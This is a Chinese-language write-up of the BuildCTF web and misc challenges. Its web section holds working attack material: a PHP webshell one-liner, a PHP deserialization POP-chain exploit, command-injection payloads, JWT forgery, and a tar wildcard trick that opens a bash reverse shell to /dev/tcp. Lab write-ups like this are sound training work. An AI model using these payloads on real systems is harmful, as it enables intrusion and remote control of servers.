buildCTF-WEB&MISC部分题解

最后一次,真的

WEB

babyupload

传.htaccess和一个马就行

1
2
GIF89a
<?=`$_POST[1]`;

RedFlag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))

莫名奇妙的题,没啥意思

image-20241020215211532

ez!http

自己背八股HTTP 标头 - HTTP | MDN

image-20241020220559671

find-the-id

单纯考个爆破

image-20241020220910486

ez_md5

输入ffifdyop,别问为什么

image-20241020221040059

进入下一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

第一步通过get和post的优先级绕过。robots.txt中存在提示

1
2
level2
md5(114514xxxxxxx)

盲猜3e41f780146b6c246cd49dd296a3da28是md5(114514xxxxxxx)的结果。爆破一下

image-20241020222954043

image-20241020223100965

LovePopChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}

class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}

class hybcx{
public $JiuYue;
public $Si;

public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}

public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}



if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}

很简单的POP链,甚至有一个没有用上的魔术方法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
}

class GaoZhouYue{
public $Yuer;
public $LastOne;

}

class hybcx{
public $JiuYue;
public $Si;

}

$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->Si->Forgzy=new GaoZhouYue();

echo serialize($a);

image-20241020224614076

Why_so_serials?

字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];

$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}

O:6:"Gotham":3:{s:5:"Bruce";s:1:"a";s:5:"Wayne";s:1:"b";s:5:"crime";b:0;}

需要构造";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";} 一共42个字符。所以赛42个joker就行

1
?Bruce=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";}&Wayne=bjoker

image-20241021155243454

tflock

robots.txt->/passwordList/password.txt拿到一个字典。但是尝试爆破发现刚爆破几个账号就说账号已锁定了。

但是后来我重开了一个环境又爆出来了。可能是锁定不影响登录,正好对应了题目说的真假锁定

image-20241021201818430

image-20241021201856674

sub

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')

messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))

return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')

@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp

@app.route('/')
def index():
return render_template('index.html')

@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401

if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')

file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')

try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')


@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)

伪造一个jwt

image-20241021162754565

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJmaWxtIiwicm9sZSI6ImFkbWluIn0.V2OFcoQK4x_TKg971t4Z6F6ZrBHByj86-OMv4uMYtdI

发现page路由下存在命令拼接漏洞

1
2
3
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:

image-20241021164412623

我写的网站被rce了?

莫名奇妙的,没思路。

发现查看日志处存在过滤,fuzz后发现过滤了这些。

image-20241024100811951

他这里的读取是拼接起来的,并且a?????也能读取到。怀疑是执行系统命令

image-20241024100957410

因为是左右都有拼接,所以使用||来确保是中间的命令执行,

acc||nl$IFS/f???||a

加上一些简单的绕过。

image-20241024102343631

题目给了后端源码,是个node.js。我们可以忽略前端,自己写个js脚本和网站交互

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
const express = require('express')
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);


let sessions = {}
let errors = {}

app.use(express.static(__dirname));

app.get('/', (req, res) => {
res.sendFile("./index.html")
})

io.on('connection', (socket) => {
sessions[socket.id] = 0
errors[socket.id] = 0

socket.on('disconnect', () => {
console.log('user disconnected');
});

socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});

socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});

socket.on('click', (msg) => {
let json = JSON.parse(msg)

if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}

if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}

let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));

if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}

errors[socket.id] = oldValue;
});
});

http.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

限制了每次加的分不大于十。

1
2
3
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}

和fake_signin有点像,感觉一个题出了另一个也能出。都是多线程下导致的问题。

直接拷打GPT写一个多线程发包的脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const { Worker, isMainThread, parentPort } = require('worker_threads');
const io = require('socket.io-client');

// 线程数(根据需求调整线程数)
const THREAD_COUNT = 10;

// 点击事件发送间隔(以毫秒为单位)
const CLICK_INTERVAL = 1000;

// 这是每个 worker 要运行的代码
if (!isMainThread) {
const socket = io('http://27.25.151.80:43518');

let power = 10000000000000000000000; // 初始 power 值
let currentValue = 0; // 当前值

// 监听服务器的回应
socket.on('recievedScore', (msg) => {
const data = JSON.parse(msg);
console.log(`New score from worker: ${data.value}`);
currentValue = data.value; // 更新当前值
});

socket.on('error', (msg) => {
console.log(`Error from worker: ${msg}`);
});

// 持续发送点击事件
function sendClick() {
let message = JSON.stringify({
value: currentValue, // 使用当前值作为初始值
power: power
});
socket.emit('click', message);
console.log(`Worker sent click with power: ${power}`);
}

// 使用 setInterval 每隔一段时间发送点击事件
setInterval(() => {
sendClick();
}, CLICK_INTERVAL);
}

// 如果是主线程,创建多个 worker 并启动持续点击
if (isMainThread) {
for (let i = 0; i < THREAD_COUNT; i++) {
const worker = new Worker(__filename);

// 在主线程中可以控制 worker 的生命周期
worker.postMessage({ power: 10000000000000000000000 });
}
}

image-20241024130239914

刮刮乐

题目源码(一开始没给,我rce看的

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$referer = $_SERVER['HTTP_REFERER'];

if (isset($_GET['cmd'])) {
$c = $_GET['cmd'];
if (strpos($referer, 'baidu.com') !== false) {
// 允许访问
system($c . " >/dev/null 2>&1");
} else {
echo '不对哦,你不是来自baidu.com的自己人哦';
}
}
?>

先刮一下图片,然后题目让传参,再改一下referer。就可以执行命令了。这里要加;来结束后面的>/dev/null 2>&1.

image-20241021200446559

eazyl0gin

关键逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag

if(data.username.toLowerCase()==='buildctf'){
return res.render('login',{data:"你不许用buildctf账户登陆"})
}

if(data.username.toUpperCase()!='BUILDCTF'){
return res.render('login',{data:"只有buildctf这一个账户哦~"})
}

var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密码错误"})
}
return res.render('login',{data:flag})

})

b26230fafbc4b147ac48217291727c98的原值为012346

image-20241024125134787

  • 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
  • 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以我们让username=buıldctf

所以可以用buıldctf/012346登录

image-20241022172903299

fake_signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
'admin': {
'password': 'admin',
'signins': {},
'supplement_count': 0,
}
}


@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('view_signin'))
return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['user'] = username
return redirect(url_for('view_signin'))
return render_template('login.html')

@app.route('/view_signin')
def view_signin():
if 'user' not in session:
return redirect(url_for('login'))

user = users[session['user']]
signins = user['signins']

dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
for i in range(1, 31)]

today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins

if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
if 'user' not in session:
return redirect(url_for('login'))

user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")

if today not in user['signins']:
user['signins'][today] = True
return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))

user = users[session['user']]
supplement_message = ""

if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))

supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
session.pop('user', None)
return redirect(url_for('login'))

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5051)

题目直接给了源码,我们审计一下。

要签到30天,登录可以签到一次,还需要补签29次。

1
2
3
4
5
6
7
8
9
10
11
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))

这里逻辑写死了,只能补签一次,也没找到什么逻辑漏洞。但是没有处理并发逻辑,如果一次发29个补签的包那么就可以一次补签29个

因为只能补签一次,没成功的话就得重开一个靶机了。

并且我尝试过后发现并不需要每天都签上,也能拿到flag,我发包的日期是1-29,而不是01-29也行。虽然显示是没签到但是仍然然有flag,可能是因为有的天签到了几次吗?反正本质原因是满足了len([d for d in signins.values() if d])>=30

image-20241024124213944

这是成功签到的截图

image-20241024124121184

打包给你

原题掌控安全CTF - 8月(WEB&AWD方向)_showdoc漏洞 ctf-CSDN博客

漏洞点在os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

可以本地起个docker测试一下,用的时候记得连中括号一起替换,比如:echo ZmZmZmZpbG0=

1
2
3
4
echo 'bash -c "bash -i >& /dev/tcp/IP/10086 0>&1"' | base64
echo "" > "--checkpoint-action=exec=echo [base_payload] | base64 -d | bash" # 生成第一个文件
echo "" > --checkpoint=1 # 生成第二个文件
echo "" > test.txt # 生成第三个文件

image-20241023105921952

下载之后就能弹到shell了

image-20241023105647312

ez_waf

只有内容检测,过滤了”,’,#,;,=,<,>,,`

只剩?号了,感觉是UTF-7编码绕过。注意到是nginx的服务,所以用不了.htaccess

上网找了点wp看看,各种内容检测的方法尝试过后,发现用脏数据可以过waf

我生成了8000个字符过了,具体需要多少个可以自行测试。

1
print('fffffilm'*1000)

image-20241024103122921

传上去之后疑似文件太大,执行不了,但phpinfo里面有flag我就没试了。

image-20241024103335130

MISC

EZ_ZIP

图片分离得到压缩包。里面是一个嵌套压缩包,让GPT搓一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import zipfile
import os
import shutil

# 设置初始压缩包名
current_zip = '00000017.zip'
save_directory = 'extracted_file' # 设置保存最里面文件的目录

# 创建保存目录
if not os.path.exists(save_directory):
os.makedirs(save_directory)

# 解压层数计数
level = 0

while True:
with zipfile.ZipFile(current_zip, 'r') as zip_ref:
# 获取压缩包内的文件名
inner_file = zip_ref.namelist()[0]
#print(f"正在解压第 {level + 1} 层: {inner_file}")

# 解压缩文件
zip_ref.extract(inner_file)

# 在 with 语句块外执行删除,确保 zip 文件不再被占用
os.remove(current_zip)

# 设置下一次要解压的文件
current_zip = inner_file
level += 1

# 检查文件是否为最后一个,停止解压
if not inner_file.endswith('.zip'):
#print(f"解压完成,最里面的文件是: {inner_file}")
# 将最里面的文件保存到指定目录
shutil.move(inner_file, os.path.join(save_directory, inner_file))
#print(f"文件已保存到: {save_directory}/{inner_file}")
break

运行报错了,说RuntimeError: File <ZipInfo filename='flaggggggg.txt' compress_type=deflate filemode='-rw-rw-rw-' file_size=51 compress_size=53> is encrypted, password required for extraction。但是没关系flaggggggg.zip我们已经拿到了

是一个伪加密,随波逐流修了就好了。

BuildCTF{Z1p_p@ck@g3s_@r3_@_v3ry_1n73r3s7ing_thing}

E2_?_21P

因为题目没给什么提示。除了这个:

什么??crc校验失败????

先爆破看看,没反应。尝试伪加密后,解压爆CRC错误了。自己建了一个压缩包来和题目给的压缩包结构进行对比。

尝试过后,改成这样成功打开

image-20241025114654432

解出来是一个BF编码

1
+++++ +++[- >++++ ++++< ]>++. <++++ +++[- >++++ +++<] >++.< +++[- >---< ]>--- .+++. ----- ---.< +++++ [->-- ---<] >---- ----. <++++ [->++ ++<]> +.<++ +[->- --<]> ----- .<+++ ++++[ ->+++ ++++< ]>+++ +.<++ +++++ [->-- ----- <]>-- ----. <++++ +[->+ ++++< ]>+++ +.<++ ++++[ ->--- ---<] >---- --.<+ ++[-> +++<] >+.<+ ++++[ ->+++ ++<]> +++++ .<+++ ++[-> ----- <]>-- -.<++ ++++[ ->+++ +++<] >++++ ++++. +++++ +++.< ++++[ ->--- -<]>- ----. <++++ [->++ ++<]> .<+++ ++++[ ->--- ----< ]>--- ----- ----- -.++. .<+++ ++++[ ->+++ ++++< ]>+++ +++.+ ++.-. <+++[ ->--- <]>-- ----. <++++ ++[-> ----- -<]>- ----- ----. ++++. <++++ ++[-> +++++ +<]>+ +++++ .<+++ +++[- >---- --<]> ----- ---.< +++[- >+++< ]>+++ ++.<+ ++[-> ---<] >---. <++++ ++[-> +++++ +<]>. <++++ ++[-> +++++ +<]>. <

image-20241025114959771

BuildCTF{Da7A_Cowbr355lon_15_3A5Y}

白白的真好看

拿到四个文件

Flag1:BuildCTF{Th3_wh1t3

image-20241022103428824

Flag2:_wh1t3_y0u_s33

image-20241022104448777

Flag3:_1s_n0t_wh1t3}

汉信码扫出来一个连接,用连接生成二维码,扫完拿到公众号异步社区

image-20241022114529420

回复雪

image-20241022114632938

用snowsnow作为密码拿到flag3,这里不能-C指定文件,不知道为什么

image-20241022154750007

拼一下flag

BuildCTF{Th3_wh1t3_y0u_s33_1s_n0t_wh1t3}

有黑客!!!

CTF-neta秒了

image-20241022103547436

如果再来一次,还会选择我吗?

将password.png用puzzlesolver逆序一下拿到原图

image-20241022103907269

key:8!67adz6

修一下key.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import cv2
import numpy as np

# 读取图像
image = cv2.imread('key.png', cv2.IMREAD_GRAYSCALE)

# 获取图像的高度和宽度
height, width = image.shape

# 遍历每一列
for col in range(width):
# 获取这一列的所有像素
column_pixels = image[:, col]

# 检查是否同时存在黑色 (0) 和白色 (255) 像素
if 0 in column_pixels:
# 如果存在黑色像素,整列涂黑
image[:, col] = 0
elif 255 in column_pixels:
# 如果只有白色像素,整列涂白
image[:, col] = 255

# 保存或显示结果图像
cv2.imwrite('output_image.png', image)
cv2.imshow('Processed Image', image)
cv2.waitKey(0)
cv2.destroyAllWindows()

扫描拿到

image-20241022104156643

拿到flag.txt,循环base64就好。用Cyberchef可能会有点卡,但是可以解出来

image-20241022104309551

老色批

LSB

image-20241022103718569

image-20241022103709320

四妹?还是萍萍呢?

先拼图

拼好之后好像没有什么用,是一个公众号

image-20241024110420270

四妹那张图里面010模板最后一个idat里面发现一个压缩包,删掉了504B的头。把压缩包提取出来

image-20241024105128888

image-20241024110403135

image-20241024110616681

解压压缩包后,base64一下拿到png,但是png有点问题,丢随波逐流就好了

image-20241024111210462

BuildCTF{PNG_@nd_H31Sh3nHu@}

一念愚即般若绝,一念智即般若生

阴阳怪气解码拿到s2j6dg@*

image-20241024175255631

佛曰拿到下一步

image-20241022234833619

天书解密

image-20241022234950115

base58

image-20241022235025327

Guesscoin

正确的概率挺大的,一直猜一个就完了。

image-20241022124430319

什么?来玩玩心算吧

随便输入一点触发报错,发现是个eval函数。

image-20241022130821758

那我可不客气了。有过滤,找了之前的一个payload直接通了。这参数是渔网杯的,换了下命令,属于是一题三吃了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@dkhkY7buMr7kYt:~/tools/parselmouth\# python3 parselmouth.py --payload "__import__('os').popen('cat /flag').read()" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"
:########: :########: ##:::::##:
##.... ##: '##.... ##: ##:::: ##:
##:::: ##: ##.... ##: ##:::: ##:
########:: : ########: #########:
##.....::: :...... ##: ##.... ##:
##:::::::: '##:::: ##: ##:::: ##:
##:::::::: . #######:: ##:::: ##:
..:::::::: ::.......:: :..:::::..::

[*] payload: __import__('os').popen('cat /flag').read()
[*] rules: ['__', '.', "'", '"', '\\', '/', '*', '$', '#', '@', '!', '+', '^', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
[*] specify bypass map: {}
[*] versbose: 0
[*] result: success
[*] __import__('os').popen('cat /flag').read() => 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒈𝒆𝒕𝒂𝒕𝒕𝒓(__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓, [106, 111, 105, 110])))(𝒎𝒂𝒑(𝒄𝒉𝒓, [111, 115]))), 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓, [106, 111, 105, 110])))(𝒎𝒂𝒑(𝒄𝒉𝒓, [112, 111, 112, 101, 110])))(𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓, [106, 111, 105, 110])))(𝒎𝒂𝒑(𝒄𝒉𝒓, [99, 97, 116, 32, 47, 102, 108, 97, 103]))), 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒔𝒕𝒓(), 𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓, [106, 111, 105, 110])))(𝒎𝒂𝒑(𝒄𝒉𝒓, [114, 101, 97, 100])))()

image-20241022130911060

HEX的秘密

magic神力

image-20241022124758024

FindYourWindows

用VC挂载FindYourWindows,用key文件作为密钥。

在M盘(M盘是我挂载的盘,可以随意选择),在M盘的桌面找到假的flag。用winhex打开磁盘,在回收站里面找到flag。从文件夹里面进回收站会到自己电脑里面的回收站,就找不到flag了。

image-20241022130014732

what is this?

image-20241022155104203

替换一下拿到flag

image-20241022155339853

四妹,你听我解释

修复宽高后拿到

image-20241022162925128

发现图片末尾是这样的。

image-20241022162851289

搜索发现是Quoted-printable编码

image-20241022163417382

然后社会主义核心价值观解码

image-20241022163445738

食不食油饼

image-20241022165355368

key:7gkjT!opo

拿到key.jpg和flag.zip

key.jpg存在盲水印(为什么我也不知道,把puzzleSolver功能随便试了几个就出了

image-20241022174635733

这个作为密码拿到flag.txt

IJ2WS3DEINKEM62XMF2DG4SNMFZGWXZRONPVGMC7MVQVG6L5

image-20241022174626632

Black&White

里面全是黑白块,并且是1089张图片,正好是平方数,猜测是33*33的二维码

让GPT写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from PIL import Image
import numpy as np
import os

# 图片的文件夹路径
folder_path = 'src' # 替换为实际路径

# 读取图片并存储在列表中
images = []
for i in range(1089):
img_path = os.path.join(folder_path, f'{i}.jpg') # 读取从 0.jpg 到 1088.jpg
img = Image.open(img_path)
images.append(img)

# 确保图片是相同的大小
img_width, img_height = images[0].size

# 创建一个新的大图像
final_image = Image.new('RGB', (33 * img_width, 33 * img_height))

# 按顺序拼接图片
for idx, img in enumerate(images):
row = idx // 33
col = idx % 33
final_image.paste(img, (col * img_width, row * img_height))

# 保存最终拼接的大图像
final_image.save('final_image.png')

image-20241022212229533

3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2

base45

image-20241024120405105

我太喜欢亢金星君了!

先用随波逐流分开来,然后发现一共有四种图片。每两张中间有一个黑色的。排除掉这个,其他的对应-.

试了前面几个,解出来的morse是B

image-20241022214956058

让GPT写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import hashlib

# 文件夹路径
folder_path = 'gifframe' # 替换为实际路径

# 定义 MD5 映射
md5_mapping = {
'2CFBADD88594FEBF53A238D4EBBBBAB5': '-',
'61841A5C1AF24B59967C29A520AB30DA': None, # 不处理
'59A6C1A807145F750944A5C809FEC10A': '.',
'5B143D5BEC0E28700B5CD3B569B96DDB': ' ' # 空格
}

# 存储结果
result = []

# 遍历文件夹中的所有文件,按数字顺序读取
for i in range(258):
filename = f'{i}.png'
file_path = os.path.join(folder_path, filename)

if os.path.exists(file_path): # 确保文件存在
# 计算文件的 MD5 值
with open(file_path, 'rb') as f:
file_hash = hashlib.md5(f.read()).hexdigest().upper() # 读取文件并计算 MD5

# 根据 MD5 值进行处理
if file_hash in md5_mapping:
value = md5_mapping[file_hash]
if value is not None: # 如果不是 None,才添加到结果中
result.append(value)

# 输出结果
final_result = ''.join(result)
print(final_result)

image-20241022215346293

